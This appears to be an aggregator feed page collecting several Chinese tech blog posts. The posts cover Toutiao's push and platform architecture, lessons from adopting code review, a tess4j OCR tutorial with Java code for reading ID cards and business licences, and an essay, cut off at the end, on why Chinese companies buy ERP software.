​ ​ 今日头条的图片存储,直接放在数据库中,分布式保存文件,读取的时候采用CDN。

6、消息推送

​ ​ 消息推送,对于用户: 及时获取信息。对运营来讲,能够 提⾼⽤用户活跃度。比如在今日头条推送后能够提升20%左右的DAU,如果没有推送,会影响10%左右 DAU(2015年数据)。

​ ​ 推送后要关注的ROI:点击率,点击量。能够监测到App卸载和推送禁用数量。

​ ​ 今日头条推送的主要内容包括突发与热点咨讯,有人评论回复,站外好友注册加入。

​ ​ 在头条,推送也是个性化:

- 频率个性化

- 内容个性化

- 地域

- 兴趣

比如:

​ ​ 按照城市:辽宁朝阳发生的某个新闻事件,发给朝阳本地的用户。

​ ​ 按照兴趣:比如京东收购一号店,发给互联网兴趣的用户。

​ ​ 推送平台的工具和选择,需要具备如下的标准:

​ ​ ​ ​ - 通道,首先速度要快,但是要可控,可靠,并且节省资源

​ ​ ​ ​ - 推送的速度要快,有不同维度的策略支持,可跟踪,开发接口要友好

​ ​ ​ ​ - 推送运营的后台,反馈也要快,包括时效性,热度,工具操作方便

​ ​ ​ ​ - 对于运营侧,清晰是否确定推荐,包括推送的文案处理

​ ​ 因此,推送后台应该提供日报,完整的数据后台,提供A/B Test方案支持。

​ ​ 推送系统一部分使用自有IDC,在发送量特别大,消耗带宽较严重。可以使用类似阿里云的服务,可有效节省成本。

二、今日头条系统架构

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

三、头条微服务架构

​​ ​ 今日头条通过拆分子系统,大的应用拆成小应用,抽象通用层做代码复用。

在这里插入图片描述

​​ ​ 系统的分层比较典型。重点在基础设施,希望通过基础设施提高快速迭代、容灾和一系列的工作,希望各个业务团队能更快做业务上的迭代以及架构上的调整。

四、今日头条的虚拟化PaaS平台规划


​ ​ 通过三层实现,通过 PaaS 平台统一管理。提供通用 SaaS 服务,同时提供通用的 App 执行引擎。最底层是 IaaS 层。

在这里插入图片描述

​ ​ IaaS 管理所有的机器,把公有云整合起来,头条有一些热点事件会全国推广推送,对网络带宽比较高,我们借助公有云,需要哪一种类型计算资源,统一抽象起来。基础设施结合服务化的思路,比如日志,监控等等功能,业务不需要关注细节就可以享受到基础设施提供的能力。

五、总结

​ ​ 今日头条重要的部分在于:

  • 数据生成与采集
  • 数据传输。Kafka做消息总线连接在线和离线系统。
  • 数据入库。数据仓库、ETL(抽取转换加载)
  • 数据计算。数据仓库中的数据表如何能被高效的查询很关键,因为这会直接关系到数据分析的效率。常见的查询引擎可以归到三个模式中,Batch 类、MPP 类、Cube 类,头条在 3 种模式上都有所应用。

参考资料: 今日头条的核心架构解析

​ ​ ​ ​ ​ ​ Go – 今日头条架构

​ ​ ​ ​ ​  从无到有、从小到大,今日头条大数据平台实践经历的那些坑

​ ​ ​ ​ ​  今日头条推荐系统架构设计实践

  收集资料,码字,整理,最后排版都不容易,如果觉得对你有用的话,凑个奶茶钱(非强制啊,只是想犒劳自己一下)~

 微信         支付宝
微信收款码支付宝收款码

Code Review 从失败中总结出来的几个经验 - 小二十七 - 博客园

$
0
0

张家界国家森林公园(图)

资深的程序员都知道 Code Review 可以对代码质量,代码规范,团队代码能力提升带来很大的提升,还有著名的技术专家“左耳朵耗子”也说过:

我认为没有 Code Review 的公司都没有必要呆(因为不做 Code Review 的公司一定是不尊重技术的)

  • 出自《程序员的练级攻略 - 修养篇》

国外很多技术公司都非常重视 Code Review 也都做的特别好,例如 Google,亚马逊,但是国内很多公司在践行 Code Review 的时候却是步履蹒跚,步步艰难,选用的方法不对,最终导致事倍功半的结果,总结一下我见过的几种情况:

  • 因为 Code Review 导致团队成员之间相互指责,团队凝聚力产生间隙
  • Code Review 形式化,没有提升代码质量,减少 bug,反而降低开发效率
  • Code Review 确实产生了效果,但是因为流程太重,导致团队效率降低

我们也在践行 Code Review,探索的路上也遇到一些障碍和经验,总结分享一下,如果你也遇到这些问题,或许可以花一点时间读一读这篇文章,说不定会有帮助。

Code Review 能带来哪些好处,本文就不说了,大家都很熟悉了,本文主要简单说一下 Code Review 有哪几个基本的共识和原则:

  1. Code Review 高效的原则是用机器去做大部分的事情
  2. Code Review 的时机(天时地利人和)
  3. 推行 Code Review 的关键原则

Code Review 高效的原则是用机器去做大部分的事情

不同的语言的格式和风格都是比较固定的,例如我最熟悉的 Java 语言常见的风格有以下几种规范:

  1. Order Java SE 的标准规范:https://www.oracle.com/technetwork/java/codeconvtoc-136057.html
  2. Google Java 开发规范: https://google.github.io/styleguide/javaguide.html
  3. 阿里巴巴 Java 开发手册:https://github.com/alibaba/p3c(国内常用)

还有我最近常用的 Ruby 语言,官方所推崇的几种风格规范:

  1. Ruby Style Guide:https://github.com/rubocop-hq/ruby-style-guide
  2. Airbnb Ruby Style:https://github.com/airbnb/ruby

但凡是标准规范都是比较机械化的条条框框,应该交给机器去检查(常用的工具由:P3C,Rubocop,SonarQube 等),机器静态扫描效率不仅比人高出一个数量级,而且非常严谨,不容易出错, 甚至可以武断的说:所有的自动化工具的本质,都是为了要减少对人的依赖性,因为人本身是具备很多种不确定性,所以并不适合做一些需要确定性并且反复重复的事情

Code Review 的时机(天时地利人和)

在以往的工作经验中, Code Review 越是靠左移,修改代码的成本越低,开发人员的修改意愿也就越高,那什么叫左移?

我们看一下软件开发的流水线和个人认为最合理的 code review 时机:

常规的开发流水线

软件工程的开发流水线(图)

从流水线上来说,有些人会在临近上线, 在靠右的地方合并 master 的时候才进行 code review,这个时候修改成本就很高,因为代码已经测试过,如果因为 code review 有问题需要重新修改代码,那么 功能本身又要回归测试,占用的测试双倍的时间,对于人力资源是双倍的浪费,因为已经临近上线,却因为 code review 被打回,开发人员愿意重构代码的意愿也会很低,如果明明发现问题,又因为上线压力,不打回不符合规范的代码,那么久而久之大家失去对 code review 的敬畏心理,code review 也会慢慢变成形式化,应用发布流程而已,既不能提高代码质量,降低系统 Bug,也不能提升开发人员的水平,反而降低的开发团队的效率,所以 选择在上线前进行 code review 不是一个好主意,所以从性价比上来说 code review 最好的时机应该是在 功能分支自测完成后,需要合并到 develop 分支申请提测前通知项目组成员对增量的代码进行 code review。

所以,代码审查要高效的话,核心就是要追求 快速反馈,越早发现代码问题修改的成本就越低,具体参考下图:

极客时间-研发效率破局之道(图)

这里需要注意的是,代码在经过机器扫描后( 这里有一个技巧就是可以在 GitLab CI 加入自动的代码风格检查,代码静态扫描是一个高频操作,一天可能会有几十,甚至上百次的 Commit,如果接入 GitLab CI 实现自动化静态扫描,大家不需要在自己本地执行静态扫描,那么效率也会大大的提升),项目组成员只需要把注意力放在 代码逻辑结构,功能设计的可维护,可扩展性 等机器不容易发现问题的地方上,然后就完成代码审查。因为代码还未提测,所以就算 Merge Request 不合格被打回后,因为还未提测,也不会占用测试人员的资源,开发人员的修改意愿也会更高,总体来说是可以达到高效和质量的要求

Code Review 要计入开发的工作量

很多团队不做 code review 都有一个共同的原因是觉得 浪费时间,结果导致糟糕的代码合并入库,频繁出现线上问题,然后开发人员疲于奔命的去修复线上事故 BUG,虽然短期来看功能是快速上线了,但是算上复工的时间, 长期来看整体的交付周期还是被拉长了,整体还是低效的,而且糟糕的生产质量人很容易打击开发人员的持续生产高质量代码的信心,所以 将 code review 计入开发的工作量是重视长期利益的一种做法,也是 code review 能够成功落地的重要前提,从团队管理的角度来说,不计入工作量的事情就不会被重视,不被重视的话那么 code review 最终在团队只会被废弃或者流于应付形式,并未发挥作用。也是很多团队推行 code review 失败的原因。

推行 Code Review 的关键原则

想要在审核代码的时候,避免团队成员因为某些模糊不清的细节争论不休的情况,那么就要提前让团队建立对代码审核的原则和方法达成共识,我就曾经见过团队的技术人员在代码审核的时候因为某个函数方法的实现方式争吵不休,各自都认为自己的实现是正确的,那么提前建立一下这种共识:

相互尊重原则

站在代码作者的角度:

  1. 审核人花费时间和精力阅读他不熟悉的代码,并且帮忙指出代码中的问题来帮助代码作者提高,代码作者应该尽可能的为审核人提供配合和方便
  2. 代码作者提交高质量的代码,就是对审核人和审核团队的最基本尊重(提交一堆乱如麻花的代码,没有自测错误百出的代码是极度不负责任的表现)
  3. 最好要有清晰的 commit 历史,让人可以一目了然代码的提交内容,如果代码过度复杂,那么就需要和审核人面对面沟通,才能足够的高效

站在代码审查者的角度:

  1. 一定要懂得相互尊重,提出建议要懂得换位思考,考虑代码作者的感受,不要用主观的批评或者情绪化的语气指责团队的同事
  2. 提出代码改进建议,必须是基于事实,或者明确的代码规范文档,不可强行把个人喜好强加在对方身上(例如用不同的语法实现相同的功能 for/while )
  3. 不要钻进代码的牛角尖和抠细节,人工审查更多的要把精力放在代码逻辑,功能设计等无法扫描的问题上
建立共识

站在团队的角度:

  1. code review 的目标长期来看,收益是提升团队的项目质量,减少团队陷入反复修复 bug 的困境中,让团队有机会去面对更多的挑战
  2. code review 对个人和团队而言都是成长的机会,放下不必要的自尊心,要用开放的包容的心态去接受不同的意见,取其精华

总结

以上就是我个人和团队在 Code Review 中的实践和总结,Code Review 关键还是要结合团队的情况选择合适的审查方式,如果团队追求敏捷开发,快速迭代那么集中式的代码审查会可能就不太适合你们当前的团队,可能项目成员 1 对 1 的结对编程可以更加高效的完成代码审查,每个团队的发展阶段不同,适用的 GitFlow 开发流程也不同,反正没有最好的工具,最有最合适的工具。

使用tess4j完成身份证和营业执照图片的文字识别 - Mr.Simm - 博客园

$
0
0

   这两天研究了一下关于OCR图文解析的技术。当然市场上已经有开源服务,比如百度的AI开放平台,就有OCR相关的API接口。我这里选用的是Tesseract开源框架,java封装版本是tess4j。结合网上公布的一些开源项目提供的demo,完成了身份证与营业执照的相关文字识别的处理。总体上来讲Tesseract其实还不错,简单应用其实还挺简单的(提供的图片质量可以靠前端做好限制,比如身份证识别,加上头像或国徽的框图限定,能提高识别率)。

  示例项目地址: https://github.com/git-simm/simm-framework

一、技术介绍

OCR(Optical Character Recognition):光学字符识别,是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程。
Tesseract:开源的OCR识别引擎,初期Tesseract引擎由HP实验室研发,后来贡献给了开源软件业,后由Google进行改进、修改bug、优化,重新发布。
  Tess4J:是对Tesseract OCR API.的Java JNA 封装。使java能够通过调用Tess4J的API来使用Tesseract OCR。支持的格式:TIFF,JPEG,GIF,PNG,BMP,JPEG,and PDF
Tess4J API 提供的功能:
1、直接识别支持的文件
2、识别图片流
3、识别图片的某块区域
4、将识别结果保存为 TEXT/ HOCR/ PDF/ UNLV/ BOX
5、通过设置取词的等级,提取识别出来的文字
6、获得每一个识别区域的具体坐标范围
7、调整倾斜的图片
8、裁剪图片
9、调整图片分辨率
10、从粘贴板获得图像
11、克隆一个图像(目的:创建一份一模一样的图片,与原图在操作修改上,不相 互影响)
12、图片转换为二进制、黑白图像、灰度图像
13、反转图片颜色

、环境准备( https://www.jianshu.com/p/ef60ef5395c5)

  2.1、我们需要安装tessdata语言包,用于图文识别。 tesseract-ocr语言包的下载地址,用于识别文字时进行匹配。链接:  https://pan.baidu.com/s/1XAvPkTdUXuFq-q2InDREhQ 提取码: 6vjp  

     

  2.2、项目引入maven依赖

<dependency><groupId>net.sourceforge.tess4j</groupId><artifactId>tess4j</artifactId><version>4.5.2</version></dependency>

、简单描述下图文解析的过程

   

、服务端关键代码的展示

复制代码
private static int targetBrightness = 260;
    private static int targetDifferenceValue = 15;

    /**
     * 解析身份证信息
     *
     * @param inputStream
     * @return
     * @throws Exception
     */
    @Override
    public BizLicenseInfo getInfo(InputStream inputStream) throws Exception {
        BizLicenseInfo bizLicenseInfo = new BizLicenseInfo();
        String rootPath = ClassUtils.getDefaultClassLoader().getResource("").getPath()+"/tmp";
        Tesseract tesseract = new Tesseract();
        tesseract.setLanguage("chi_sim");
        //读取网络图片
        BufferedImage bufferedImage = ImageFilter.cloneImage(ImageIO.read(inputStream));
        //不过滤部分颜色
        //bufferedImage = ImageFilter.imageRGBDifferenceFilter(bufferedImage, targetDifferenceValue, null);
        bufferedImage = ImageFilter.convertImageToGrayScale(bufferedImage);
        //缩放到真实身份证大小
        bufferedImage = ImageFilter.imageScale(bufferedImage, 3150, 1920);
        try (OutputStream outputStream = new FileOutputStream(rootPath+"/bg.jpg")) {
            saveImg(bufferedImage,outputStream);
            getBufferedNameImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/nameImageBefore.jpg");
            getBufferedCapitalImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/capitalImageBefore.jpg");
            getBufferedBizTypeImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/bizTypeImageBefore.jpg");
            getBufferedBuildOnImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/buildOnImageBefore.jpg");
            getBufferedJuridicalImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/juridicalImageBefore.jpg");
            getBufferedBizLimitImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/bizLimitImageBefore.jpg");
            getBufferedBizScopeImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/bizScopeImageBefore.jpg");
            getBufferedAddressImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/addressImageBefore.jpg");
            getBufferedCreditCodeImage(tesseract, bufferedImage, bizLicenseInfo,rootPath+"/creditCodeImageBefore.jpg");
            return bizLicenseInfo;
        }catch (Exception e){
            e.printStackTrace();
            throw e;
        }
    }
复制代码
复制代码
/**
     * 获取统一社会信用代码
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedCreditCodeImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        try (OutputStream outputStream = new FileOutputStream(path)) {
            BufferedImage idImage = ImageFilter.subImage(bufferedImage, bufferedImage.getMinX() + 200
                    , 250, 550, 300);
            System.out.println("creditCodeImage 辉度处理");
            handBrightness(idImage, targetBrightness);
            saveImg(idImage, outputStream);
//            tesseract.setLanguage("eng");
            tesseract.setLanguage("chi_sim");
            // \W 可以配置 非字母和数字,等价于 [^a-zA-Z0-9] (\d \D 小写表示匹配数字,大写表示匹配非数字)
            String idCardNumber = tesseract.doOCR(idImage).replaceAll("[\\W]", "");
            bizLicenseInfo.setCreditCode(idCardNumber);
        }catch (Exception e){
            e.printStackTrace();
            throw e;
        }
    }

    /**
     * 获取名称
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     */
    private void getBufferedNameImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 520, 700, 1200, 120);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setName 辉度处理");
            bizLicenseInfo.setName(content);
        });
    }
    /**
     * 获取类型
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedBizTypeImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 520, 820, 1200, 130);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setBizType 辉度处理");
            bizLicenseInfo.setBizType(content);
        });
    }
    /**
     * 获取法人信息
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedJuridicalImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 520, 950, 1200, 120);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setJuridical 辉度处理");
            bizLicenseInfo.setJuridical(content);
        });
    }

    /**
     * 获取经营范围
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedBizScopeImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 520, 1070, 1330, bufferedImage.getHeight() - 1200);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setBizScope 辉度处理");
            bizLicenseInfo.setBizScope(content);
        });
    }

    /**
     * 获取注册资本
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedCapitalImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 2170, 720, bufferedImage.getWidth()-2400, 120);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setCapital 辉度处理");
            bizLicenseInfo.setCapital(content);
        });
    }

    /**
     * 获取成立日期
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedBuildOnImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 2170, 850, bufferedImage.getWidth()-2400, 100);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setBuildOn 辉度处理");
            bizLicenseInfo.setBuildOn(content);
        });
    }

    /**
     * 获取营业期限
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedBizLimitImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 2170, 970, bufferedImage.getWidth()-2400, 100);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setBizLimit 辉度处理");
            bizLicenseInfo.setBizLimit(content);
        });
    }

    /**
     * 获取住所
     * @param tesseract
     * @param bufferedImage
     * @param bizLicenseInfo
     * @param path
     * @throws IOException
     * @throws TesseractException
     */
    private void getBufferedAddressImage(Tesseract tesseract, BufferedImage bufferedImage, BizLicenseInfo bizLicenseInfo, String path) throws IOException, TesseractException {
        BufferedImage buffered = ImageFilter.subImage(bufferedImage, 2170, 1070, bufferedImage.getWidth()-2240, 270);
        getBufferedImage(tesseract,buffered,path,(img,content)->{
            System.out.println("setAddress 辉度处理");
            bizLicenseInfo.setAddress(content);
        });
    }
    /**
     * 获取名称
     * @param tesseract
     * @param buffered
     * @param path
     * @param consumer
     */
    private void getBufferedImage(Tesseract tesseract, BufferedImage buffered, String path, BiConsumer<BufferedImage,String> consumer) throws IOException, TesseractException {
        try (OutputStream outputStream = new FileOutputStream(path)) {
//            addressImage = ImageFilter.imageScale(addressImage, ((int) (addressImage.getWidth() * 2.4) + 1), ((int) (addressImage.getHeight() * 2.4) + 1));
            handBrightness(buffered, targetBrightness);
            saveImg(buffered, outputStream);
            tesseract.setLanguage("chi_sim");
            String result = tesseract.doOCR(buffered);
            //留下中文字符、中文标点符号()【】、
            String regexStr = "[^\\s\\u4e00-\\u9fa5\\(\\)\\uff08\\uff09\\u3001\\u3010\\u3011\\-0-9]+";
            String content = result.replaceAll(regexStr, "")
                    .replaceAll("\\n", "")
                    .replaceAll(" ", "");
            if(consumer!=null){
                consumer.accept(buffered,content);
            }
        }catch (Exception e){
            e.printStackTrace();
            throw e;
        }
    }
    /**
     * 保存图片
     * @param image
     * @param outputStream
     * @throws IOException
     */
    private void saveImg(BufferedImage image,OutputStream outputStream) throws IOException {
        ImageIO.write(image, "jpg", outputStream);
    }
    /**
     * 处理图片辉度
     *
     * @param subImage
     */
    private void handBrightness(BufferedImage subImage, int targetBrightness) {
        int fixedBrightness;
        int birthBrightness = ImageFilter.imageBrightness(subImage);
        System.out.println("brightness = " + birthBrightness);
        fixedBrightness = targetBrightness - birthBrightness;
        //辉度处理
        if (fixedBrightness != 0) {
            subImage = ImageFilter.imageBrightness(subImage, fixedBrightness);
        }
        System.out.println("after brightness = " + ImageFilter.imageBrightness(subImage));
    }
复制代码

、解析效果展示

  5.1、身份证信息识别示例:

  

   5.2、营业执照信息识别示例:

  

 

 参考资料:

https://github.com/firefoxmmx2/IDCardIDentify

https://www.jianshu.com/p/e7915ba6f0e7

https://kefeng.wang/2017/04/22/tess4j/

中国企业信息化老讲降本增效,是不对的_阿朱=行业趋势+开发管理+架构-CSDN博客

$
0
0

中国企业信息化老讲降本增效,这个我是不认同的。我就讲究两个重心:

1、业务增长:在线业务电子商务

2、避险合规:内部管

家族托管基金-投资-所有权和经营权分离-职业经理人,这是欧美的一条链。

为了让双方互相放心,就产生了:

咨询顾问、流程梳理

审计师会计师事务所、华尔街分析师评级师

IT固化:流程固化、联网一查到底、数据透明

中国没有:家族托管基金Old Money,也就没有职业经理人。

但是,中国也有很多避险合规的要求。

如果一个中国实业企业,没有以下任何一条需求,那么它可能就不需要购买ERP软件。

(1)来源一:国际

一、国际贸易要求

1、出口标准

2、海关

二、国际资本要求

1、华尔街上市、并购

2、审计、评级

如果你不是出口企业&出口制造企业,不是海外(香港、美国等)上市企业,这两条无效。

(2)来源二:国内

一、政府监管

1、安监、环保监、食药监

2、工商、税务

3、社保

如果你不属于监管敏感性行业,那这条对你也是弱约束。

二、金融监管

1、银行:如果你不是依赖银行贷款的,这条对你也是弱约束

(3)来源三:客户

一、国际客户

需要遵照国际游戏规则和标准

如果你没有国际客户,那这条没有约束性。

二、国内客户

尤其是央企国企,大家都要保平安。所以招投标需要各种合规资质、合规审核,以便保证招投标顺利

如果你的客户不是以央企国企为主,那这条也没有约束性。

(4)来源四:自己

一、集团

中国很多集团型企业是跨地区、多元化综合型的投资集团,是由投资或者兼并重组而来的集团。所以子公司孙公司、控股公司参股公司众多。为了防止下面的成员机构出问题带害上市主体,所以需要搞集团统一管控,尤其在:

1、采购统一管控:

2、财务统一管控:很多集团尤其在总账统一管理、资金统一管理、固定资产统一管理方面需求突出

3、人力统一管控:尤其在组织、人事安排、薪资管理、绩效考核

4、审批统一管控

5、标准主数据统一管控

甚至有的集团还要直接获得客户反馈客户投诉,防止一线公司胡作非为、屏蔽客户,所以有的集团还搞:客户关系中心,统一客户管控。

当然,如果你不是集团型企业,你对统一管控也没啥太多需求。


Viewing all 532 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>